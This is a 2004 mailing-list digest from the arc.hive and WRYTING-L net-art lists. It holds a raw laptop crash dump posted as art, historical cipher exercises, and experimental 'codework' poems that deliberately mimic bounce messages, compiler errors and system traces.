\n\n\nContent-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed\n\n\n\n\nLAST POSER PICTURE ON COMPAQ R3000\n\n\nPAGEDUMP\nPAGEPAGEPAGEPAGEG{\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGE\nPAGEAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGEPAGE\nAuthenticAMD\nPoser.exe\nKDBG\n}; ]\n};X]\n};(^\n};(_\n};H_\n9?U?\n. {AT} Hc\n};`d\n};pe\n};0f\n};hf\n}; {AT} g\n};`g\n};Xi\n};Pj\n};Hk\n*** STOP: 0x000000FC (0xF4456940,0x10120163,0xF44568B4,0x00000001)\ntG9E\n5,+U\n5 +U\n50+U\n5,+U\n5(+U\n5$+U\n5 +U\nuP95\nVVVVj\nh6~O\nh:~O\nt?Vh\nh>~O\nhB~O\n5 +U\nhF~O\nhJ~O\nhN~O\n50+U\n5,+U\n5(+U\n5$+U\n5 +U\nhR~O\nh$+U\nu\tVV\nh~~O\n5$+U\n50+U\n5,+U\n5(+U\n5$+U\n5 +U\nPPPPP\n_^[]\nSVRj\nSVRj\nSVRj\nQSVW\n_^[]\n_^[]\nGn(G3\nF3:G3\nu!*Fn\nt.Ht\n {AT}  ;F\n_^[]\nAuthenticAMD\nFILE0\nFILE0\n1 =&\nFILE0\nFILE0\nf7R~N\n&'\"c\nFILE0\nFILE0\nf7R~N\nFILE0\nrM~N\nFILE0\nFILE0\nrM~N\nFILE0\nFILE0\nFILE0\nTRGDDumpBlob\nHewlett-Packard\nF.03\n02/24/2004\nHewlett-Packard\nPresario R3000 (DZ357U#ABA)\n\nCompal\n08A0\n32.1C\n\nCompal\nSocket A\nAMD Athlon(tm) 64\nDIM0\nDIM1\nL1 Cache\nL2 Cache\nAGP Slot\nBank 1\nBank 2\nRSDT4\nzPTLTD   RSDT\n  LTP\nFACPt\nNVIDIACK8\nPTL_ {AT} B\nDSDT-D\nNVIDIACK8\nMSFT\nAPICZ\n4NVIDIANV_APIC_\n  LTP\nBOOT(\nPTLTD $SBFTBL$\n  LTP\nSSDT\nUPTLTD POWERNOW\n  LTP\n\n\n__\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Tue, 21 Sep 2004 08:03:43 -0400\nFrom: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: March 10, 1918\n\nAN v X2 (Intercepted at Souilly at 0040) 0025 CHI-13 845 422 373 792 240\n245 068 652 781 245 659 659 504\n\nX2 v An (Intercepted at Souilly at 0052) 0025 CHI-13 OS RGV KZD\n\nDecoded:\n\n845 An 422 (?) 373 Bn. 792 2                    240 h 245 i 068 r 652\nsch 781 w 245 i 659 t 659 t 504 e\n\n\n\nDate: Wed, 22 Sep 2004 08:37:46 -0400\nFrom: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Section X - Paragraph 46\n\nIGPXL XPISQ UZPDE YJDIC HZGCC NYMQS CKUT (34)\n\nEnciphered with primary components of Problem 35.\n\nProbably word: FREQUENCY.\n\n\n\nDate: Thu, 23 Sep 2004 15:39:39 -0400\nFrom: Charles Baldwin <Charles.Baldwin {AT} MAIL.WVU.EDU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: 11. Section VI.\n\nDN PNRRMAQYAW NVVYPUB VYBCD DMCS VNBPU CDNG SUUG FC MQHYCUQ IYDX BUCGUPD\nDN UAURK RNHURUAD YA HYPYAYDK XYTT UYWXD CYJ VYHU LUBN (106)\nProbable word: VICINITY.\n\n\n\nDate: Tue, 19 Oct 2004 22:41:22 +1000\nFrom: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\nTo: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\nSubject: wing:le(f)t:u{s,n}:cover\n\n\nContent-Disposition: inline\n\nThis is a MIME-encapsulated message\n\nThe original message was received at Sun, 17 Oct 2004 12:00:27 +0200 (MEST)\nfrom sympa {AT} kilby.copyleft.no [66.154.100.54]\n\n   ----- The following addresses had permanent fatal errors -----\nParse error at line <LANG_en>\n    (reason: 554 5.4.6 Too many newral hops)\n\n   ----- Transcript of session follows -----\n554 5.4.6 Too many hops 26 (25 max): from <unsubscribe {AT} ah!k.net> via reality.rk.net, to <unsubscribe {AT} ah!k.net>\n\n--i9J1Q47M022017.1098149164/reality.rk.net\nContent-Type: message/delivery-status\n\nReporting-MTA: dns; reality.rk.net\nReceived-From-MTA: DNS; astra.telenet-ops.be\nArrival-Date: Sun, 17 Oct 2004 12:00:27 +0200 (MEST)\n\nAction: failed\nStatus: 5.4.6\nDiagnostic-Code: X-Unix; 554 5.4.6 Too many newral hops\nLast-Attempt-Date: Sun, 17 Oct 2004 12:00:27 +0200 (MEST)\n\n--i9J1Q47M022017.1098149164/reality.rk.net\nContent-Type: message/rfc822\n\n\n   ----- or(i)ga[n|am]i(c) massaging follows -----\n\nFrom: \"[__lo-y_]\" <loy {AT} myrealbox.com>\nSubject: [_arc.hive_] un[vs left]cover + wings\nTo: arc.hive {AT} anart.no\nDate: Sun, 17 Oct 2004 12:00:27 +0200 (MEST)\n\n[-- Attachment #1 --]\n[-- Type: text/plain, Encoding: 7bit, Size: 1.2K --]\n\nsoul trimmings via brain mis-givings\nerroded while In function `main':\n: syntax error before i\n: undeclared\n: (Each undeclared identifier is reported only once\n: for each function it appears in.)\n: Error: is not defined.\nCompilation abor\n    process received SIGCONT\n... retrying\n\n\n> n-0n(e)mog+ the rk\n\n> > At 0612 PM 14/10/2004, you w/all (this[k].ness(i) \u00ffibbon)--{ l.cag+ AND (NULL); }\n> > At 0613 PM 14/10/2004, you w/lot+\n> > At 0614 PM 14/10/2004, you(ah!)s\n\n\n# C-king rush, rush king rush \nseek: ing to offset 0\nenabling mode +rw\nread: <pleased to continue>\npiping to local FIFO\n\n\n>> water-falls towards me,\n>> outcrops disappearing into infinite blue\n>> rippling electrical (im)pulses through me\n>> charging the surface, reform+render\n\n\n> vers: Bl/ters-hr.map/angs\n\n> venl s: k: ng.l[th].vd, g+\n> nl/m.git.c.rr: c(dd)\n> > At 0616 PM 14/10/2004, w.dis-> rr: c(rd.Slv.s)\n\n4(am) \u00fftr/a/i/ diving down perl floors w/ruby + python walls\nstrace: `writ(h)ing in I/O buffers` | ./decode\n   brk(0x804d000)                           \u00f0x804d000\n   gettimeofday({1098188605, 182811}, NULL) \u00f0\n   nanosleep({10, 0}, NULL)                 \u00f0\n'ing\n   read(3, \"\\177ELVEN\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\360 {AT} \\0\"..., 1024) \u00f1024\n'ing\n\n\n\n\n> > > obt[g]red+ b[d]on.lrv: j[k]\n> \n> > At 0612 PM 13/10/2004, i.m[tch-> eod: Sl.hil + rr] ck.ns\n> \n> > > tc.n-lo.t\n> \n> > At 0612 PM 14/10/2003, a/lps > inr.t\n> > At 0612 PM 14/10/2002, wr.ch (t.ec.vi && nes[i\u00fe]ckin\n> \n> > > di && s.moid && s[ai-pn]cg.mtc.h\n> \n> \n> > >whil (red * shal.t.on.ste)\n> > >whil (red * jl_di) && i && { n.cr[t/ch.leduct]me(NULL); }\n\n\noutput from nightly tasks\n-------------------------\n\nCould not establish stable route to host 'lo_y' (0xff.0xff.0xff.0xff)\nfrom endpoint 'reality.rk.net' (packet loss detected)\n: discovering new routes from peers\n: route table updating...... complete (err: kindof)\n: attempting to re-establish connection...\n\n\n> ---#-------hi-----------------------------------------------\n> --#-----------lo--------------------------------------------\n>                       -\n> -----------------------y------------------------------------\n> ------------------------------------------------------------\n> -------------rnd.PTRz:\n> http://www.furtherfield.org/dIsplayreview.php?review_idV\n> http://lo-y.diaryland.com/\n> http://www.google.com/Search?q\u00ff_y\n> ------------------------------------------------------------\n> ------------------------------------------------------------\n\n--i9J1Q47M022017.1098149164/reality.rk.net--\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Sun, 24 Oct 2004 21:02:41 +1000\nFrom: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\nTo: arc.hive {AT} anart.no\nSubject: investigating Gently; conversations\n\n\nContent-Disposition: inline\n\n                SHADY; a pretty major thing\n                MID-hospitalisation\n  using all her BREATH\n                \n                ANIMAL calluses\n                ON her\n                ARM\n                \n                HEAVEN,\n                IN YOUR\n                car\n\n                FIVE BEARS\n                MISSED\n                BUT jumped on\n                FOOD AND NAILS\n                \n                & ..AT the 16th \n                DEATH\n                EVERYBODY\n                SOMEHOW shows\n                \n                .\n                .\n                ROAST COLD bar stool\n                FASCINATION\n                \n                by the time;\n                EVEN THE\n                54 tonners\n                  ARE\n                DEALING\n                W/ RABBITS\n                \n                FIRST STACK\n                of blood\n                FLASHES ARE\n                coming towards us\n                WITH FLURRIES\n                \n                OUTWASHed freeways\n                DRYPOINTing dollars matter\n                GLARING, into the old days\n                \n                SAY ALL the trouble inside\n        most of THE CATS'n'boys\n                WERE made\n             of PIGSKIN men\n                \n                THE KInKY\n             party STUMP\n taking out the PIANO HOUSE,\n                \n                it's just my feeling\n                it's still running\n                SLIPPED\n                  IN\n                and sharing\n                \n         sorry? WHAT'S\n                NEW,\n                MOUNTAINS?\n                that's where you've got to\n                seperate our politics\n\n                time to\n                  COVER,\n                POE tAUGHT\n                IN DETECTIVE\n                BOOKs;\n                if you prove something in writing\n                it's still not good enough\n                \n                CENTER IN\n                ON REPEATS,\n                mate, i don't agree with you\n                i haven't set out to set a trend\n                \n                  SNOW,\n                PENDULUM\n                  silence\n\n                KEPT a certain\n                NEEDLE point\n                  OF\n                SNOW,\n                \n                LIKE an extra five hours\n                OF\n                HOME\n                she rang me\n\n                &\n        part of METHOD- i thought\n                MILLING\n                ..UNDER\n                BARK\n                \n   the thing is HOOPSNAKE is good at it\n                SUNDOWN, is worth it\n                \n                pumpkin DISSOLVES\n                clanging RETURNS\n                RAILS\n                  &\n                SLEEPERS\n                \n                half-ALIVE\n                rather THAN DEAD\n                  I\n                Tamed\n                the\n                snooze\n                \n                the\n                mothers\n                say\n                more\n        /       resT   \\\n         & GLIMMer\n        \\       voirs, /\n                \n                the\n                window\n                   forks\n                \n                peakING IN 2\n                clever...\n\n\n\n                \n                neon., MOTHS\n                or\n      BUTTERFLY mumps,\n                \n                NOTHING TO SAY,\n                just\n                this...\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Sun, 24 Oct 2004 13:31:37 +0200\nTo: arc.hive {AT} anart.no\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: d.nvestigat IN Gently; c ON vers AT IO: ns\n\n\n\nAt 21:02 24/10/04 +1000, (unsubstantiated scribe):\n\n >\n\nSHADY; t out: he, a f_thew oirs,\n                 GIN-f.neon.w/abbits\n   om.sa, an mal AVEN'T\n\n                 RT OUT he: 1 that''\n                 RA gme\n                 TNE\n\n                 SIT_H_YO,\n                 NG NWRI\n                 ngm\n\n                 .ONH NN[ERP]\n                 NG OUT T\n                 6TW ndow& .sn\n                 SN/P RTY NHES?\n\n                 t..ND a[ts][rm]p\n                 THSOR\n                 NG TO WAR.CL\n                 ARM\\\\W/ abbit\n\n                 .\n                 .\n                 DEADT MED. neo., on r\n                 WITH FT.ACS OR\n\n                 th [a]ng[c]m;\n                 \\WTH URS\n                 ks in2 &mot\n                   RIN\n                 OVEHOUR\n                 N/ IKEANEX\n\n                 EEWAY..PAR\n                 jo.mil.li\n                 RKMID-H SPI\n                 ks; are asc IN  {AT} ON:\n                 Y NEW .INBUT_J I\n\n                 EAT HCLAse OUT thera\n                 RS MAT TFAc ati.OUT AS deat\n                 Y\\BOOKS, iv.. the 6th omer\n\n                 BRE TS, its rr\\area imal ca\n         llru ni ED. ARTY't'mpta\n                 ODSA new,\n              ep GSKINME ari\n\n                 TOT IS..M\n              butju E, GDE\n  fork sm lli gfi IN2 MA E-LDD\n\n                 tm'l ingc AN IN gsile\n                 ra'g ot.t.t.vehal\n                 G, ID 'ON'\n                   16\n                 stm withflu\n\n          vepart FBKE'T\n                 YMU,\n                 BLEIN TO F_Pi\n                 ymum's /inme fiv'be rof et\n                 he NO thin w/s y, party, m\n\n                 ng, i TO\n                   ., JUS,\n                 ANY o-USE, S\n                 SS Y, ON MID-H\n                 Y NO h;\n                 ve now peaki g NO THING[b] tj mped ON c\n                 IN 'i' sJUS say llth rangme\n\n                 ON, PO TA\n                 MY EELING&,\n                 cina, o ame'o repea hith t's\n                 o se, ra'i rho rsf sc ngs r y?w/r\n\n                   E NEW,\n                 FBLOODN'\n                   is..it'\n\n                 IN ME U TO fmeth\n                 RIT IN G ethin\n                   2S\n                 W, TH,\n\n                 MAL& .b okscl ng IN IN som\n                 IT\n                 GREE\n                 rth deal ng\n\n                 t\n         rtha de TS, GLI- e bre AT hr\n                 F_METHOD\n                 ..M_POE\n                 PEND\n\n    epa tofbl od TW IT_H IN2 J st fmet am dc\n                 IN2 THER, gm t ON ne si\n\n                 itsfork NEON.D ON H\n                 ous.p.ra E_OLD\\NE\n                 TURNS\n                   s\n                 EN, BLE IN\n\n                 fork-TIME;\n                 medfre WAYS T'SJ\n                   P\n                 Nakei\n                 d-i\n                 nalive\n\n                 hou\n                 &..says\n                 men\n                 etho\n         /       eveR   \\\n          n .VOIRs,\n         \\       rs,/t, /\n\n                 me;\n                 ststac\n                    days0\n\n                 peAT HOF &.h\n                 eewith...\n\n\n\n\n                 edor., SE\\SL\n                 pu\n       THETIME; B tteri,\n\n                 TH IN GOU TH TIM,\n                 ven,\n                 tame...\ne;\n       AND EADHAL -aliv,\n\n                 GMERO AS          OIRS,/T OU S ON,\n                 \\bar\n                 t'sj...\nos\n       PS NOW, CEN ZITH ht,\n\n                 TAU AN IM LC LLH,\n                 thod\n                 orry...\n\n\n\n>\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\nhttp://www.furtherfield.org/displayreview.php?review_idV\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://www.google.com/search?q\u00ff_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\nDate: Sat, 16 Oct 2004 21:20:16 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: arc.hive {AT} anart.no\nSubject: machinic  \n\n\nContent-Type: TEXT/PLAIN; charset\u00ff-ASCII; format\u00ffowed\n\n\n\nmachinic\n\nhttp://www.asondheim.org/machinic.png\nSort by relevance   Sorted by date\n    \tBKREVIEW.TXT\nEspen J. Aarseth, 1997, Johns Hopkins, Baltimore and London \"Angelaki:\nJournal of the Theoretical Humanities, Special Issue: Machinic\nModulations, New Cultural Theory and\nC:\\sampler\\BKREVIEW.TXT - 1 cached - Oct 13\n    \tstelarc.txt\nhere) on the other, a work slipped among human, virtual, and technological\ninterfacings. a work of simultaneous machinic and fleshly insistence: the\nalter/altar ego presenced uneasily on your\nC:\\sampler\\stelarc.txt - 1 cached - Oct 13\n    \tzz.txt\nbodies. We're the best at it, particularly blond/blue-eyed appearing\nhistoryless dominating body types everywhere with more writhing silicon\nimplants, toned machinic Nautilus muscles. They\nC:\\sampler\\zz.txt - 1 cached - Oct 13\n    \tr.txt\nthe construct of a fully-developed world of sound (ever heard binaural? It\nremoves the listener from space-time cause and effect machinic coordinates\n(and De- leluze and Guattari\nC:\\sampler\\r.txt - 1 cached - Oct 13\n    \to.txt\nthe machine which wrytes the body, that the body is always already\nwrytten, encoded _all the way down_ but I would also argue that the body\nis not _machinic\nC:\\sampler\\o.txt - 1 cached - Oct 13\n    \tj.txt\nis what I mean by techne defined by the _core_ which itself suddenly pulls\nan ontological shift: guess what, the real as video chips, simms, cpus,\nand other fauna of the machinic suddenly\nC:\\sampler\\j.txt - 1 cached - Oct 13\n    \td.txt\nand \"cock\" rather almost always than \"vagina\" and \"penis\" because these\nare cited/sited anywhere writing the antithesis to cyborg, this_ site is\nthe incorporation of the organic into a machinic\nC:\\sampler\\d.txt - 1 cached - Oct 13\n    \ta.txt\nmarrow of pass- ing for the soul, what is this passing, the nature of the\npassing. What could write would be the _instrument of passion_ would be\nthe assemblage, machinic or otherwise, cam\nC:\\sampler\\a.txt - 1 cached - Oct 13\n    \tmy.txt\nas genident- ity is described by Reichenbach for states and objects, one\nmight have a genidentity of processes or chains of processes; a machinic\nlineage is an example. Along with\nC:\\sampler\\my.txt - 1 cached - Aug 28\n    \tmr.txt\nthe hinge between bot and machine, software and wetware programming! In a\nsense it's Stelarc in print, but with the latter, the machinic and the\nbody are in negotiated homeostasis\nC:\\sampler\\mr.txt - 1 cached - Aug 28\n  \tCYB54.TXT\nall that stuff.well, it's just what Foucault would call the normalization\nprocesses.so let's get disciplined, disciplined.in machinic capitalism\nthere is a grey-blue beauty\nC:\\fl\\cyb\\CYB54.TXT - 1 cached - Jul 22\n    \tCYB35.TXT\nYes, I've read stuff about the US airforce (thank you fido) trying to use\nspecific brain impulses to eliminate teh lag between human perception and\naction, to trigger specific machinic actions, such\nC:\\fl\\cyb\\CYB35.TXT - 1 cached - Jul 22\n    \tC135.TXT\ngender, etc into a _larger_ discussion >without making it the\ncenter/defining issue? And can we include sexual/gendered fields into that\ndiscussion? So that the machinic would have its sites\nC:\\fl\\cyb\\C135.TXT - 1 cached - Jul 22\n    \tSTIVALE.TXT\ntry to nudge forward a multiplicity, to assemble it within the unknown\ndepths of a \"virtuality\" As Nick Land argues, machinic desire is the\noperation of the virtual\nC:\\fl\\dial95\\STIVALE.TXT - 1 cached - Jul 22\n    \tFOP50.TXT\ntransmit into free radicals bound for cyber in/outlets untenable chains of\nfreedom gesture weightless in a productive void linked machinic and\npumping words like bullets out\nC:\\fl\\fop\\FOP50.TXT - 1 cached - Jul 22\n    \tFOP45.TXT\nmarrow of pass- ing for the soul, what is this passing, the nature of the\npassing. What could write would be the _instrument of passion_ would be\nthe assemblage, machinic or otherwise, cam\nC:\\fl\\fop\\FOP45.TXT - 1 cached - Jul 22\n    \tFOP30.TXT\nRage sets in, encumbered by the normal fluidity of the Net. Suddenly, the\nmonster rears itself as a confluence of protocols; no longer a window, not\neven a mirror, it becomes machinic, an\nC:\\fl\\fop\\FOP30.TXT - 1 cached - Jul 22\n    \tSEMI.TXT\nwords. And perhaps that is not inappropriate for a group of people getting\ntogether to think through a set of issues surrounding a technology of the\nmachinic and a technology of the self. We\nC:\\fl\\image\\perth\\SEMI.TXT - 1 cached - Jul 22\n    \tOHIOCONF.txt\nfanta- sies as the self is destructured. 10 Physiology of arousal, of\ncumming, of typing, of trembling, of wet hands and fingers: the real\nreturns as well. 11 It is all sourceless, machinic\nC:\\course2\\ARTICLES\\OHIOCONF.txt - 1 cached - Jul 21\n    \tohioconf.txt\nfanta- sies as the self is destructured. 10 Physiology of arousal, of\ncumming, of typing, of trembling, of wet hands and fingers: the real\nreturns as well. 11 It is all sourceless, machinic\nC:\\course2\\BOOK\\TALKS\\ohioconf.txt - 1 cached - Jul 21\n  \tsemiotic.txt\nwords. And perhaps that is not inappropriate for a group of people getting\ntogether to think through a set of issues surrounding a technology of the\nmachinic and a technology of the self. We\nC:\\course2\\ELIST\\semiotic.txt - 1 cached - Jul 21\n    \tBKREVIEW.TXT\nEspen J. Aarseth, 1997, Johns Hopkins, Baltimore and London \"Angelaki:\nJournal of the Theoretical Humanities, Special Issue: Machinic\nModulations, New Cultural Theory and\nC:\\COURSE\\BOOK\\BKREVIEW.TXT - 1 cached - Jul 21\n    \tSTIVALE.TXT\ntry to nudge forward a multiplicity, to assemble it within the unknown\ndepths of a \"virtuality\" As Nick Land argues, machinic desire is the\noperation of the virtual\nC:\\COURSE\\HISTORY\\STIVALE.TXT - 1 cached - Jul 21\n    \tr.txt\nthe construct of a fully-developed world of sound (ever heard binaural? It\nremoves the listener from space-time cause and effect machinic coordinates\n(and De- leluze and Guattari\nC:\\COURSE\\NETWORK\\r.txt - 1 cached - Jul 21\n    \to.txt\nthe machine which wrytes the body, that the body is always already\nwrytten, encoded _all the way down_ but I would also argue that the body\nis not _machinic\nC:\\COURSE\\NETWORK\\o.txt - 1 cached - Jul 21\n    \tj.txt\nis what I mean by techne defined by the _core_ which itself suddenly pulls\nan ontological shift: guess what, the real as video chips, simms, cpus,\nand other fauna of the machinic suddenly\nC:\\COURSE\\NETWORK\\j.txt - 1 cached - Jul 21\n    \td.txt\nand \"cock\" rather almost always than \"vagina\" and \"penis\" because these\nare cited/sited anywhere writing the antithesis to cyborg, this_ site is\nthe incorporation of the organic into a machinic\nC:\\COURSE\\NETWORK\\d.txt - 1 cached - Jul 21\n    \ta.txt\nmarrow of pass- ing for the soul, what is this passing, the nature of the\npassing. What could write would be the _instrument of passion_ would be\nthe assemblage, machinic or otherwise, cam\nC:\\COURSE\\NETWORK\\a.txt - 1 cached - Jul 21\nhttp://www.asondheim.org/frightful.png\n\n_\n\n\n\n_________________________________________\n_arc.hive_ mailing list\narc.hive {AT} anart.no\nhttp://sympa.anart.no/sympa/info/arc.hive\n\n\n\n\n\nnettime unstable digest vol 89\nTue Oct 26 13:19:40 2004\n\n\nSubject: Re:  the uselessness of poems \n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: arc.hive {AT} anart.no\n\nSubject: _n.sect.lips_\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no\n\nSubject: blind tickling\n    From: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\n    To: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\n\nSubject: Re:  bin::[hex]tickling\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no\n\nSubject: _i[]f[]testing_\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no\n\nSubject: trained souls\n    From: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\n    To: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\n\nSubject: Re:  un[das radio]cover\n    From: \"][m e z ][\" <netwurker {AT} hotkey.net.au>\n    To: arc.hive {AT} anart.no\n\nSubject: undercover\n    From: \"(unsubstantiated scribe)\" <unsubscribe {AT} arcae.net>\n    To: \"arc(ae).hi[gh]ve(nture)\" <arc.hive {AT} anart.no>\n\nSubject: un[vs left]cover + wings\n    From: \"[__lo-y_]\" <loy {AT} myrealbox.com>\n    To: arc.hive {AT} anart.no\n\nSubject: un[vs left]cover + wings\n    From: \"[__lo-y_]\" <loy {AT} myrealbox.com>\n    To: arc.hive {AT} anart.no\n\nSubject: LAST POSER PICTURE ON COMPAQ R3000 \n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: arc.hive {AT} 